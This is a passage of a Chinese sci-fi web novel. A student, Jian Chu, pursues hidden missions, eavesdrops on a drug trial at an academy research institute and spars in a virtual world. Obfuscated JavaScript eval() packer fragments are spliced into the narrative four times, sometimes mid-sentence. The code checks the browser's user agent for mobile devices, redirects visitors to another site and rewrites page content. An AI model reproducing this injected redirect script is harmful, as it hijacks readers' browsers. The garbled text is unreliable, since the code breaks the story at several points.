电梯门合上，简初的嘴角还扬着，但是眼里已经失去笑意。 看来接近伊森·斯塔比她想象得要更加困难，以她目前掌握的信息看来，两人几乎没有什么激烈的矛盾，按照这种天之骄子的知名度，要是自己狠狠得罪了对方，一定会有人讨论，但现在并没有发现这种情况。 不过如果刚刚那人说的是真的，斯塔集团最近有什么动作吗？ …… 简初把报告拿回去，在房间待了两个多小时，才勉强依葫芦画瓢写完了两人的检查报告。 她向来很讨厌写这种东西，如果查出什么问题还有内容可写，一切正常却要她写个一整套出来，着实太难为人了。 距离模拟大赛还有整整三个星期，星网论坛上的讨论愈加白热化，报名尚未截止，从昨天开始，报名人数开始激增，原来观望中的同学开始正式报名，等到比赛前一周报名截止的时候，不知道参赛人员会达到怎样的规模。 简初简单梳理了一下现在的情况，她手里分别有来自系统和温弗拉的任务各两个，但重合度很高。 根据系统要求，她需要参加模拟大赛，获得校内研究所的实习名额，同时专业能力需要获得业内专业人士的认可。而温弗拉则同样要求她参加模拟大赛，后续不明，此外，在模拟大赛之前打听斯塔集团最新研究产物的下落。 看起来任务很多，合并起来其实只有两个，一是模拟大赛，另一个则是目标物品。 在简初这里，系统任务享有最高优先级，而且她很清楚，关于目标物品，伊森·斯塔那边不好下手，除了两人关系不好的原因外，还有一个重要因素。 尽管有关斯塔集团的通稿中，大多提及老斯塔对于继承人的看重——伊森并不是唯一继承人，但他是其中最出色的一位。 天赋颇高，有望向军政界发展，对于商业版图已经扩展到一定境界的斯塔集团来说，有一个这样的继承人简直就是如虎添翼。老斯塔在出席各种商业应酬时，身边几乎都站着伊森，更是在多个场合公开宣称伊森是自己最出色的继承人。 但问题在于，老斯塔年纪已经很大了，集团大权仍然紧握在他手中，而伊森的唯一继承资格也并没有得到书面上的确凿认定，商人的口头之言，随时可以反悔的。 如果斯塔集团这次的研究成果，连温弗拉这样的组织都被吸引，那么以老斯塔如此的为人，伊森未必知道目标物品的下落。当然，温弗拉也很清楚，他们必然派出了更多的人手，从老斯塔那边下手。 答案很明显了，她不过是温弗拉一步可有可无的棋。 虽然如此，可她对那个据说能够增强身体素质的东西十分有兴趣，因为在这个世界里，基因决定了天生的身体素质，后天的锻炼只能是锦上添花，二者之间有一个无法跨越的天堑。 而可惜的是，简初的身体素质撑死了只能算中等偏上，对于非战斗人员来说，这已经是一个很不错的水平，但这对她来说远远不够。 她并不觉得系统所说的“死亡的阴影”只是一句玩笑话，它更是一种提示，一种警告。 简初长叹了一口气，不再想这些，而是将目光放在了更近、更实际的东西上。 专业知识、体术学习、虚拟对抗……她要做的事还有很多。 “你有一份新的包裹，请选择派送时间。” 终端上突然跳出来一则信息，简初最近并没有主动在星网上购物，现在送来的只有温弗拉的“信物”了。 简初没有犹豫，选择了立刻派送，没过两分钟，宿舍门铃就响起，她来到客厅打开门，一个无人机正悬浮在她面前，下方的布袋子里放着一个小小的方形包裹。 “请确认签收。” 无人机最前端的摄像头闪了闪，识别了简初的生物特征，便松开小布袋的封口，待她取走包裹便飞走了。 简初拿着东西回到房间，包裹的手感很奇特，像是某种塑料又软软的富有弹性，但很轻易就能用手扯开，里面放着一套普通的保温杯，配上洗刷用具。 她拧开杯子，里面并没有其他东西，简初拧眉思索了两秒，拿起杯盖晃了晃，里面有轻微的金属磕碰声，她举起杯盖摸索了片刻，终于在内侧找到了一个卡扣。 “嘎嘣。” 杯盖弹开，露出里面一个小小的黑色立方，跟之前从徐灿华那里得到的不太一样，它入手很轻，看上去严丝合缝，就像一块精细打磨过的金属块。 “获得物品：温弗拉的信物。” 温弗拉的信物？要是她没记错，徐灿华的那个并不是叫这个名字。 “滋滋——” 监测圆环突然发出轻微的声响，紧接着书桌边出现一个人形的半透明白边，闪烁了几秒之后无影的身形再次出现。 不过几秒，影响变得稳定，看上去终于没有那么僵硬，他朝简初咧咧嘴：“又见面了。” “你看起来很闲。”简初抛了抛手里的小方块，开口道，“有什么事昨天不能一起说完？” “我也不愿意啊，这不是得过来教你怎么用这个小玩意。”无影耸耸肩，手上也捏起一个同样的立方体。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12090120|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “该谢谢你吗，我没那么愚蠢，没必要用这种方式交流。” “当然没有那个意思。”丝毫没有被简初的话影响，无影还是面带微笑，“只是我比较喜欢这种方式。 “用生物特征激活，之后就可以正常使用了。” 他笑嘻嘻地举起他手里的那个，贴在眼前，示意简初照做。 简初没有犹豫，很快小立方的六个面上都出现了浅浅的图标，应该是代表不同的功能。 “身份证明，这个不用解释了吧，这边是烈性爆破，当一个小手榴弹用是完全没问题的。” 他看着简初激活立方，脸上的笑意更深了。 “就这点功能？不觉得有点多余了吗这东西。”见无影不再讲解，简初反应过来，有些无语地打量手中的信物。 “哦，依你目前的权限只能用这两个，剩下的以后再说吧。” 无影无所谓地摆摆手，“况且这东西会受到异能的干扰，如果周围有比较强烈的异能波动，可能就不太好用了，之所以叫信物，就是因为最主要的功能是代表你的身份。” “呵。” 简初意味不明地笑了一声，看来徐灿华在组织内的级别不低，用的都是升级版。 “你觉醒不久，所以不了解。异能比较特殊，现在的技术基本没有不受它影响的，像电子监控、星网通信之类的，受到异能干扰都会直接失效，必须要用特制的设备才行。” “组织人员众多，以我们的级别还用不上特制装备。” 无影似乎觉得说得有些多，有些意兴阑珊地闭上了嘴。 跟简初不一样，无影是专职的组织成员，日常就是为了组织忙上忙下，没有个休息的时候，他认识的那些人都是些冷冰冰的闷葫芦，一点意思没有。 虽然苍耳性格也不是很热络，但总还能聊上两句，何况都是正式成员了，知道这些零零碎碎的也无伤大雅。 对于简初来说，无影不经意透露的消息都很有用。 “组织成员的信息都是公开的吗？我是说，我不希望哪天遇到了同僚，别人认识我，我却还蒙在鼓里。” 简初掂了掂手里的小方块，“还有，这个东西你们一般都怎么保管，万一丢了怎么办？” “啊，虽然高层都有我们的信息，但是他们不会看的，又不是闲得慌，怎么可能去关注我们这种小喽啰。你由我直接管理，所以……”无影耸耸肩，“等你以后升职了也能有人使唤，咳，我是说，也能掌握别人的真实信息。” “保管什么的，你自己看着办吧，反正以你的权限，丢了也不打紧。” 简初：“……” 如此随意，她对温弗拉的看法突然有了些许转变。 “呵，要是我成了你的上司怎么办，把你的脑子抠出来洗洗吗？”简初冷淡开口，信物在指尖灵活转了两圈。 无影微微向后仰了一下，眼中透露出虚假的震惊：“你怎么会有这种想法，别想这么远，要是你真成了我上司，到时候自然有解决办法。” 他并没有把这话放在心上，苍耳在组织是最底层的正式成员，异能也并没有什么出彩的，当初要不是她踩了狗屎运，根本不可能转正。 不过说起来，这人运气是真好，一次送死被特战中心截胡，另一次连修女都死了，她不仅没死还觉醒了异能。 他上下打量了一眼对方，暗自思索。 也许自己做了一个正确的决定。 26. 灯下黑（26） “还有事？”简初自然地看了一眼时间，已经快十分钟了，无影的身体还没有消散的迹象。 无影清了清嗓子，抬起手似乎在操作数据屏，可惜简初只能看见他的手在虚空中不停选择，并不能看到别的。 “就上次跟你说的任务，现在有新变化了。” 他话音刚落，简初终端里就弹出画着组织图徽的信息。 “这是……”简初点开，里面是一张手绘的图纸，画下这幅图的人画工一般，上面的药剂瓶看起来并不逼真，但好歹重要特征都在。 菱形的瓶身，上面的塞子不知道是什么材质，也许是里面装满了药剂，并没有明显的液体分界线，但画面是黑白的，所以连药剂的颜色都不清楚。 简初：“……” “这是其他成员传回来的消息，菱形瓶的药剂，瓶身是特殊材料，应该是为了保护药剂。” 确认简初看过，无影伸手又在虚空中点了点，那条信息便消失了。 “不过目前药剂下落尚不可知，所以他们把信息共享出来，让大家一起找找。” 无影耸耸肩，要是东西已经找到，那几个人就可以回去复命了，虽然这个任务的参与者明面上是合作关系，但实际私下竞争非常激烈。 组织高层名额有限，谁都想往上使使劲，他也不例外。 简初正在思考这种形状的药剂瓶该如何摆放，应该需要支架，要不然就是放在保险箱里，她疯狂回忆以前看过为数不多的电影，试图从中找到灵感。 “有几个可能性比较高的地方，一个就是联邦军校研究所，那里面只有你去最合适。”无影囫囵说了两句，就算是将这件事交给了简初。 “其他的地方你不方便去，就交给其他人吧。” 简初深深看了无影两秒，直把他看得有些发毛，随后终于点了点头，应下了这个差事。 简初记得上次她回来的时候，无影正在背着手看自己的课本，也就是说他是能观察到这边的情况的，只是无法接触罢了，以他的能力想要探索研究所再合适不过了。 除非，他没办法“进入”研究所。 “辛苦了。” 无影脸上开始出现信号不良的纹路，但不妨碍他露出笑容，很像刚刚把苦差事推给下属，而自己要去休假的无良上司。 “有任何进展我都会及时通知你的，那么再见。” 无影的身形消失，简初低头看了看表，不多不少十五分钟，她站在原地沉思了片刻，将目光投向了桌上的两份报告。 …… “院长这会正在发脾气，你在这等一会吧。”还是昨天那位工作人员接待的简初，他将人领到一个小隔间，程源充满怒气的声音隐约透过门板传过来。 “不想干就……” “……水平……都不如……” “砰！” 什么东西重重砸在墙上，发出叮铃哐啷碎了一地的声响。 “嘶，你待会等里面人出来就可以进去了，今天不巧撞枪口上了，你少说两句，院长说什么你就点头表示赞同。” 简初点点头，工作人员见她不像是会捣乱的样子，又叮嘱了两句，便去忙自己的事情了。 简初坐了两分钟，便做出一副闲得无聊的模样，在等候室里转起圈来，研究所里的精密仪器太多，而她对它们的用途还不甚了解，以防万一被某个仪器检测到，简初并没有选择放出精神力来探查。 她转转悠悠，透过小隔间的玻璃幕墙，打量起自己面前这一圈的白大褂来。 实验大厅的工作人员看起来级别都不是很高，接待自己的那位也正在其中忙碌，工作台面上到处散落着写满数据的纸张，各种颜色的试剂都有，不过都是装在常见规格的容器里。 有人注意到她好奇的眼神，不过并没有人来阻拦，不知道是觉得她看不明白，还是因为自己是程源的学生，不管是什么原因，最后都方便了简初。 突然，外面的人好像收到了什么通知，面容变得有些慌乱，原本有条不紊的动作也变得凌乱，这里跟外面的隔音效果太好，耳边只有程源发脾气的骂声，简初听不见他们张嘴在说什么，仿佛在看一出默剧。 几名白大褂飞快从一旁的柜子里取出几个安瓿放在托盘里，冲进了旁边一间实验室里，简初往左边挪了两步，目光紧紧锁定右方缓缓合上的门。 里面的实验舱正在运作，里面应该有人。 简初微微挪开目光，看见实验室旁边的金属牌，上面写着“精神力研究（3）”。 这里的实验室几乎都是叫这个名字，显然是靠后面的编号来区分的，但简初并不知道每个数字分别代表着什么。 她伸手握住小隔间的门把手，将门拉开一个小缝，瞬间有些嘈杂的声音冲洗着她的耳朵。 “剂量不够吗？” 有人小声说着，但简初听得很清楚，她愣了两秒，继续凝神细听。 “不知道，按照上次剂量来的啊。” 这时候，刚刚进入实验室的几人出来了，外头八卦的人使了个眼色，将他们拉了过去。 “里面怎么回事，这次是谁把计量搞错了？” “今天院长心情不好，不得被骂死……” “嘘……”从实验室出来的一人示意他们小声点，接着又凑近了一些。 “剂量没错，不够用了。” “啊？！”周围几人听到这句话，反应很一致地惊讶瞪眼捂嘴，然后互相看了两眼。 “这也太……会出事吧？” 有人摇了摇头：“不，我偷偷看了一眼，数据很漂亮。” “我靠，这么牛……” “噶哒。” 简初身后传来门把手拧动的声音，也许是她太过投入于外面的交流，连程源的声音什么时候消失的都没发觉。 她迅速松开门把手，故作无事地在门口踱步，看起来有些心焦地等待里面人出来。 出来的是一对年轻男女，看起来应该刚毕业没几年，女孩子眼圈红红的，强忍着眼泪噔噔噔往前直冲，另一个男生把门关上，先是看了简初一眼，然后赶紧追了上去。 “对不起，我实在不知道那个数据会有这么大的问题，我一直没做出结果，就模拟了一下填进去了……我这不也是怕没出成果要挨骂啊！” 见有人注意到这里，他陡然噤声。 外头的人看见他们出来，便收了话头安慰起人来，随着门缓缓合上，小隔间又恢复了安静。 简初回头拿起矮桌上的两份报告，走进了办公室。 “知道了，我马上来。” 程源看见简初进来，拧了拧眉，挂断了手中的内线电话，但他并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12110006|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对简初发脾气，而是接过她手里的报告看起来。 “老师，我是不是打扰你了？”简初选择挑起话头，不管聊些什么，总比一言不发得到的信息更多。 程源看着手里的报告，翻过一页摆摆手：“你这点小事还打扰不到我。” 他飞快地浏览完两份报告，朝简初看过来：“写得还成，不过以后发现有问题的病例，写起来就要麻烦多了，还是要保持学习，千万不能搞造假那一套，你做不出东西还可以学，要是开始弄虚作假，那就是人格问题。” 简初想到刚刚在门口听到的只言片语，连连点头：“我知道，肯定不会造假的。” 干巴巴的回答，符合她面对师长时有些内敛的人设。 “行，那就这样。”程源撑着椅子扶手站起来，走了两步似乎又想到什么，转过头来打量了简初两眼，又坐了下去。 “不急，聊个五分钟的天。”他示意简初坐下，从旁边的抽屉里拿出一本活页册子，看起来是自己装订的，比较粗糙，他翻开封面，从目录一个个找下去。简初眼尖地看到目录里都是人名，第一个就是伊森·斯塔，后面有她，莫景以及一些她还“不认识”的人。 程源往后翻到简初的那一块，反复看了几眼。 “你还记得你入学的成绩吧。”他抬眼，从眼睛上方看过来，额头上堆出褶子。 简初：“……” 她的校内邮箱只接受到历年学期末的总评成绩，入学时候的还真没有。 程源没有读懂她沉默的含义，理所应当认为她是为此感到羞愧，他摘下眼镜捏捏鼻梁，一副很头疼的样子：“也不是第一次跟你说了，你得抓紧啊，找找问题，你入学的时候可是我们学院的第一名，你看看现在都到哪里去了。” 他将册子里的两张纸抽出来，放到简初面前。 跟她想象的不一样，原以为是考试成绩什么的，结果是精神力水平测试的结果，入学测试那边写着鲜红的“特”，而另一张应该是上一次的测试结果，右上角写的是橙色的“A”。 “你应该知道我向来只收A+以上的学生，我一直觉得你还有机会，态度也比较端正，才收下了你做学生。我收了你之后，多少教授学生都有意见，你看看别人都在进步，只有你不进反退。” 程源长叹了一口气：“体检也没有什么问题，真是愁人。” 他似乎并没有想从简初这里得到回答，只是抱怨几句。 “平时不要松懈，这个学期的实验课一定好好上，实操可以锻炼你的精神力，也许有恢复的一天。” 说到这里，程源的脸色突然有一些犹豫，他抬眼看了简初一眼，又低下头，好像在思考什么。 简初适时开口，表明自己的态度：“老师，我会继续努力的。” 程源自然没有把她的话放在心上，他在考虑另一件事。 “我这里有个项目刚出了些成果，本来是只针对S级以上的学生的，你要是能拿到实习名额，倒也可以给你个机会。” 简初面色不变，心下却升起警觉，莫名想到了刚刚外面的骚动。 她面上露出羞愧，低下头开口：“老师，我……这不太好吧？” “这样，你先跟我去看看。”程源思考了两秒，示意简初跟上。 “正好莫景也在，你们可以交流一下。” 27. 灯下黑（27） 外面的人们都在正常工作，一点都看不出之前发生过什么，她跟着一言不发的程源来到了实验室门前。 果然是3号实验室。 也就是说刚刚她进入办公室时，程源接的那通电话正是来自这里，不过他原本应该没想着带自己过来，不知道是什么改变了他的想法。 金属大门在身后合上，见他们进来，一个明显看着是领头人的白大褂迎上来，看向程源，欲言又止。 简初不在意他们的眉眼官司，一进来就四处打量着，不过也没有看到跟目标外形接近的物品，不过她这么一瞧，倒是跟莫景对上了视线。 她应该是刚刚从实验舱出来，正有气无力地倚靠在旁边，有三个白大褂在周围嘘寒问暖，不过莫景脸色不是很好看，头发也被汗水浸湿，粘在脸颊上。 见到简初，她眼神亮了亮，随后又有些疑惑：“学姐？你怎么来了？” “这位是胡博士，项目的牵头人。”程源互相介绍了两人，简初朝莫景点点头，转过来跟这位看起来年过半百的研究员打招呼。 “小胡，这是我学生，简初，我带她过来了解一下项目情况。”程源说道。 尽管胡博士看起来年纪比他要大点，但仍然被叫做小胡。 “院长放心，就是……那边要不要先去看看？”胡博士小心地提醒。 “嗯，正好你顺便给她介绍吧，让我也听听。” 胡博士显然把这个当做院长对他的考教，顿时整个人充满了激情，他伸手捋了捋有些油的头发，侧过身子引导两人向前。 “这个项目是我们跟联邦研究所合作的，他们提供了初始资料，由我们校内研究所的团队来研究的，全部都是自己人。”胡博士很是骄傲地挺了挺胸膛。 简初环顾四周，周围的工作人员看起来都像被妖精吸了精气，黑眼圈都要掉到下巴了，精神最好的还是胡博士。 “咱们主要是研究精神力素质的提升可能性，大家都知道精神力素质和身体素质这两个东西，很大程度都是由基因决定的，后天的提升效果比起来就不够看了。” “所以我们探索的是，在不改变基因的基础上，优化精神力素质，简而言之就是利用药物改变你的天赋。” 胡博士说得神乎其神，但他口中的药物引起了简初的注意。 温弗拉的目标物品是提升身体素质的药剂，这难道只是巧合吗？ “这项研究是联邦研究所的重点关注项目，难度非常大，我们现在已经有了突破。”胡博士说着，带领两人来到了莫景面前。 “最新一批的药剂，在莫景同学身上有了效果，虽然并没有实质提升她的精神力，但扩展了容积。” 简初从课本上看过这个说明。 每个人出生时，精神力就已具雏形，精神力容积决定了每个人当前的精神力上限，打个比方就是有些人天生是小水盆，而有些人是游泳池。 但并不是容积有多大，精神力就会有多少，这又涉及恢复速率、日常消耗、固化指数等多个复杂的指标，相当难以估算。 总之，精神力容积象征着精神力素质等级的理论上限，但实际上的素质等级大多低于这个上限。 “扩展了容积就扩大了精神力的上限，给等级提高带来了更大的可能性。” 莫景出神地看着胡博士跟他们侃侃而谈，不知道在想什么。 “很厉害。”简初捧场道，还没等胡博士露出骄傲的笑容，她话锋一转，“会有什么副作用吗，我看她脸色不是很好。” “啊这个，副作用多少有一点，但是跟效果比起来都是值得的。”胡博士干笑了一声，心底暗骂简初不识趣，在院长面前提这个做什么？ 他莫名笑了一声，开口道：“简初同学不想试试效果吗？” 不过还没等简初回答，程源先开了口。 “我就是先让她来看看，参不参加回头再说。” 胡博士怔了怔，朝简初露出一个胜利的微笑，似乎在说“看，你连试一试的资格都没有。” 简初没有给他多余的注意力，她扭过头看向莫景，温和询问：“你感觉怎么样？” 莫景愣了会才抬起头，她本来想说自己还行，没什么问题，但话到嘴边拐了个弯。 “头疼，想吐，没力气。” 说完她有些尴尬地找补：“不过我休息一会应该就没事了。” 她看过来的眼神有些奇怪，小心翼翼又带着点仰慕，让简初摸不着头脑，但她确实不知道，也不能开口询问两人之前发生了什么，只能笑着揭过话题。 “这个项目还是很不错的，对了，你最新这版药剂和数据报告赶紧送一份到伊森那边去。”程源的肯定让胡博士露出真心的笑容，但在听到伊森的名字时，他脸上的笑意明显僵了一下。 “知道的院长，已经在安排人打包了。” 程源点点头，语重心长地跟简初开口：“等项目正式出成果了，再想参与就很难了，你应该能理解这个项目的难度和水平，等你拿到实习名额，我来安排。” 他丝毫没有考虑简初是否会拒绝，直接拍板。 “谢谢老师。”现在拒绝显然不是一个明智的选择，简初笑眯眯地点点头。 说是参与项目，其实并不是作为研究人员加入，而是更像一只被实验的小白鼠，作为实验样本参与其中。 不知道这里的实验舱是否能检查出自己精神力的实际情况，她得想办法既拿到实习名额，又能合理拒绝。 “嘀——” 大门忽然打开，一个人影匆匆跑了进来，从对方领口的颜色看来，这人在研究所的级别不低，她瞧见程源，眼前一亮，过来凑近悄声说了两句话。 “东西拿过来了。” 尽管对方几乎是用气音在说话，但简初还是很轻易地捕捉到了，与此同时她还看到了胡博士的表情。 他也在凝神细听，微微屏住了呼吸，等那位女士话说完，他的呼吸难以察觉地急促了一点。 简初平静地挪开视线，放回了莫景身上。 “你们继续吧，莫景你回去好好休息，简初你正好送她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12119528|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去吧，路上可以再聊聊。” 程源肉眼可见得急着离开，更让简初好奇他们说的究竟是不是强体药剂。 见两人就要离开，胡博士见状连忙跟了上去，满脸堆笑：“院长，我送送您，回头等您有时间我再找您汇报详细情况。” 程源看了他一眼，点点头：“你忙你的，不用管我们。” “怎么样，我们回去？”简初扭过头，朝一旁的莫景说道。 “嗯。”莫景直起身子，脸色已经好看了不少，只是眼巴巴地看着简初，“我们走吧。” 简初加快了两步，在大门尚未完全合上的时候再次按下开门键，透过重新打开的门缝看见程源和女研究员进入了电梯，电梯缓缓上行，最终停在了16层。 她记得研究所一楼大厅的楼层指引里，并没有13层以上的楼层说明。 “……楼上是联合实验室。”莫景朝她看过来，犹豫了一下开口道，“具体的不对外公布，我也不清楚。” “啊。”简初朝她露出笑容，并没有接话，而是好奇地问道，“你感觉怎么样，我是说精神力，是不是变厉害了？” 莫景摇了摇头，老老实实回答：“没有。” 电梯缓缓下行，在一楼打开，简初抬头就看到一张面熟的脸。 是伊森做精神疏导示范的时候，跟他配合的男生。 “你好。”男生礼貌地打了个招呼，进了电梯，简初脚下不停，走到门前时状似无意地回头瞟了一眼电梯。 停在了7楼。 她还以为对方也要去16层呢。 尽管对方看起来有话想跟她说，但由于她还没弄清两人之间的关系，秉持着多说多错的想法，简初目的明确地将对方送回了宿舍。 她得回去联系一下无影，虽然对温弗拉没有多少信任可言，但毫无疑问，它现在是一个还算可靠的信息来源。 简初回到宿舍，里面很安静，日程表显示秦理这会正好有课，她回到房间锁上门，熟练地戳开终端，点开了无影的通讯，对面很快接通了，不过并没有人出声。 “……” 简初很有耐心，并没有抢先开口，下一秒，一个人影出现在房间内。 “你下次再突然冒出来试试看呢。”简初朝无影露出险恶的微笑。 “说不定下次有其他人在这里等你。” 无影一脸无所谓地举手投降：“抱歉抱歉，我习惯了，所以找我什么事？” “联邦军校研究所13层以上的楼层都是研究什么的？”简初直入主题，没有跟他绕圈子，无影似乎也很适应这样的交流方式。 “你们学校的事，还要问我。”他小声嘟囔了两句，“太多了，说起来累，我直接发给你。” 他话音刚落，终端就收到一条加密信息。 “快点看啊，五分钟之后自行销毁。” 简初点开信息，文字并不算长，五分钟绰绰有余，她迅速翻到关注的重点。 16层主要研究方向，精神力素质与身体素质的互相影响作用探究。 28. 灯下黑（28） 接下来的几天，简初的日子过得非常平静且规律，每天按照日程表，上课、训练，再顶着程源的名义去研究所7楼逛逛，看看有没有什么新八卦。 她很信任打工人的八卦能力，只要程源不在实验大厅，她保准能听到最新的见闻，可惜暂时没有跟强体药剂或者16层有关的消息。 除此之外，就是每次上课的时候，伊森的小黄毛迷弟看她的眼神愈加不友善。 “我们下课了，你呢，下课就直接去全息中心啊！” 简初正收拾完东西准备离开教室，秦理的通讯就打了过来，她后知后觉地看了眼时间，想起来今天跟他们三人约好，要一起上线乌托邦。 “我刚下课，马上过来。” “好嘞，预约了1223的小包间，你直接刷进来哦。”秦理的声音不太稳，听起来好像在跑动。 “我去买点吃点，待会见。” “待会见。” 简初挂断通讯，一挑头却看见了这几日神龙见首不见尾的伊森，他正站在最后的角落，跟小黄毛说些什么，中途还抬起头朝四周看了眼，不过意料之中没有在简初身上有丝毫停顿。 这人在研究所也不见影子，没想到居然出现在这里。 “伊森哥，这点小事肯定没问题，你放心吧。”李维西拍拍胸脯，毫不犹豫地点头。 伊森难得表情柔和了些，他伸手拍了拍李维西的肩，开口道：“辛苦你了。” 刚下课的教室太过吵闹，简初远远看了两秒，确实听不清两人在说什么，只是看见小黄毛突然像打了鸡血一样，精神抖擞地挺直了身板。 她无语地咧咧嘴，转身离开了教室。 “伊森哥，怎么了？”见伊森突然回头，像是在找什么，李维西疑惑道。 伊森收回四处扫视的视线，将手里的公文包交给他：“没什么，我还有事先走了。” “回头联系。” …… “1223……找到了。” 简初跟着全息中心的地图指引，顺利找到了秦理所说的包间，识别入内，就看到两个人一左一右，安静地抱着面包啃着。 “傅燃还没到？”简初随手将包放在旁边的小桌子上，“你们不是上的一节课吗？” “他有事，鸽了。”左虞珩面无表情地开口，惹得简初多看了他两眼。 “今天这是怎么了，不像你的风格啊。” 这两人面包啃得起劲，看得简初也有些饿了，她走过去从袋子里薅出一个面包，坐在一边。 “别理他，发神经呢。” 秦理翻了个白眼，“上课挨训了，老师说他嬉皮笑脸态度不端正，这会决定洗心革面重新做人。” “放心，他坚持不了多久。” “啊，祝你成功。”简初一言难尽地瞧了左虞珩一眼，咬下一大口面包。 室内只有三人的咀嚼声，好像三只偷吃的老鼠，呱唧呱唧有些催眠。 其实这两人早就暗戳戳想找机会，跟简初去乌托邦练练手。自从他们一起训练，就发现简初的招式似乎和他们都不太一样，不过因为很多人都会找老师私下教学，所以各有套路。 简初的招式经常看起来轻飘飘的，却总有奇效，几人也算是见多识广，不难发现其中的优势。在现实中他们占了身体素质的优势，如果在乌托邦，这个优势就会被抹平，更能看出招式的差别。 简初并不知道他们打的小算盘，就算知道也没法告诉他们，自己以前的教练是个异世界退伍兵。她面包刚吃了一半，就看到两人一左一右紧紧盯着自己。 简初茫然地举了举手里的面包，犹豫开口：“你们还想吃？” “没有没有，你赶紧吃，吃完我们上路……上线。”左虞珩摆摆手，语气又开始变得活跃起来。 简初：“……” 这人装深沉根本熬不过三分钟。 简初细嚼慢咽地吃完手里的面包，拍拍手站起身：“好了，咱们上线……” 还没等她说完，这两人就亲亲热热地凑到跟前来，将她按在座舱内，狗腿地放平座椅。 “这个角度还行吧？”两人的脸挤在狭小的视窗里。 “呃，可以。” 话音未落，简初眼前一黑，意识迅速下沉，转眼就登入了乌托邦。因为是团体登入，所以出现在了提前选择的固定登入点，这让简初松了口气。 毕竟她的禁赛时间还没过，要是刷新在虚拟对抗竞技馆的门前，难保这两人会不会一时兴起，拉自己进去玩玩。 他们选择的登入点在格斗场附近，一眼望去可以看到悬挂在高处的标志，左虞珩已经完全忘记自己的豪情壮志，一脸笑嘻嘻地往里走：“走走，咱俩先来。” 秦理看着踏入格斗场的两人，眯着眼摸了摸下巴。 有种不太美妙的奇怪预感。 看着对面两手空空的简初，左虞珩感觉自己手里的粒子刀有千斤重。 “你怎么不用武器？”他有些尴尬地扔掉手里的武器，粒子刀在空中解码消散。 “我没有。” 简初耸耸肩，非常大方地打开自己的武器库，里面空空荡荡，一根毛都没有。 “这就么打吧。” 她露出一个皮笑肉不笑的表情。 乌托邦更加强化意识世界，身体素质差距在这里会被消减得很小，在现实中简初很难靠□□打赢他们，但是在乌托邦就另说了。 “啊？”尽管左虞珩心理有所准备，但还是难免习惯性轻敌，还没反应过来，就被简初突脸，一脚踹了出去。 “我靠你下手这么狠！” 他堪堪稳住底盘，一脸委屈地质问，简初懒得搭理他，反身一个高鞭腿，直冲着他的脸蛋子而去。 左虞珩匆忙抬手格挡，伸手控制住她的脚踝，简初用力抽了抽腿，发现不成便迅速借力拧腰，另一条腿就要踩上左虞珩的脸。 他下意识松手躲避，却被简初抓住机会，一脚踹上胸口。 左虞珩后撤两步卸力，但简初迅速落地调整好姿势，一肘从他左前方横劈而来。 简初此刻的心情非常畅快，尽管身体还是能感觉到击打的疼痛和气力消耗，但和在现实中的感觉完全不同，她的身体里仿佛有无穷无尽的能量，随着每一次攻击喷薄而出。 难怪这里叫做乌托邦。 左虞珩从格斗场脱离的时候，脸上还带着虚无的空白。 简初站在原地甩了甩手，直接从系统继续发出对战邀请：“秦理，该你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12141389|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦理：……我好想原地消失。 简初看着对面迟迟不点下确认，嫌弃喊道：“秦理！秦理！你过来啊！你别以为不出声就能假装自己不在！” 不过还没等到秦理的回应，倒是等来了格斗场升级提醒。 “恭喜你首次胜出，格斗场等级提升一级，获得默认武器。” 简初眨眨眼，点开武器页面，一把看起来暗沉沉的铁质刀具出现在背包里。 简初抽出刀在手里掂了掂，抬头就看见秦理出现在对面：“我还以为你卡了呢，你看我有武器了，咱俩打一架吧！” 她亮晶晶的眼里写满了“我现在正在兴头上”，秦理没法子，只能从自己的背包里翻出一把冷兵。 “开始吧。” 话音刚落，秦理先发制人，却被侧身闪开。 简初避开刀锋后并没有选择拉开距离，手中的刀尖朝着对方腹部斩去。 秦理后仰躲开，却不曾想简初另一手成拳，强势突进，瞬间拉近距离，劈手卸去了秦理的武器。 